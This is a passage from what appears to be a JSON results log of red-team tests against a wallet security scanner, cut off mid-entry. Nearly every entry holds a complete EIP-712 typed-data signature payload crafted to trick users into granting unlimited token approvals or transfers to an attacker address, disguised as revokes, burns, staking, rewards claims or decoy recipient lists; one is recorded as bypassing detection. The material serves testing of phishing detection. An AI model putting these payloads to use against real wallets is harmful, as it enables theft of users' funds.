Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T16:17:37.487Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T16:17:46.655Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T16:17:55.864Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T16:18:05.037Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T16:18:14.201Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T16:18:23.368Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T16:18:32.543Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T16:18:41.710Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T16:18:50.861Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN8-EIP3009-022", "timestamp": "2026-01-31T16:19:00.008Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xd0c2ddc9f0e3cb780cd3976dc6bf30f97120889c4cceab8fc3b828c6bd97506c\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN8-EIP3009-054", "timestamp": "2026-01-31T16:19:06.540Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0xe39f8c8ec416f3606ed67aede648d4b4a9d176dc9863650aa50c6a30e72d0359\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T16:19:16.001Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T16:19:25.158Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T16:19:34.315Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T16:19:43.470Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T16:19:52.626Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T16:20:01.777Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T16:20:10.926Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T16:20:20.098Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch 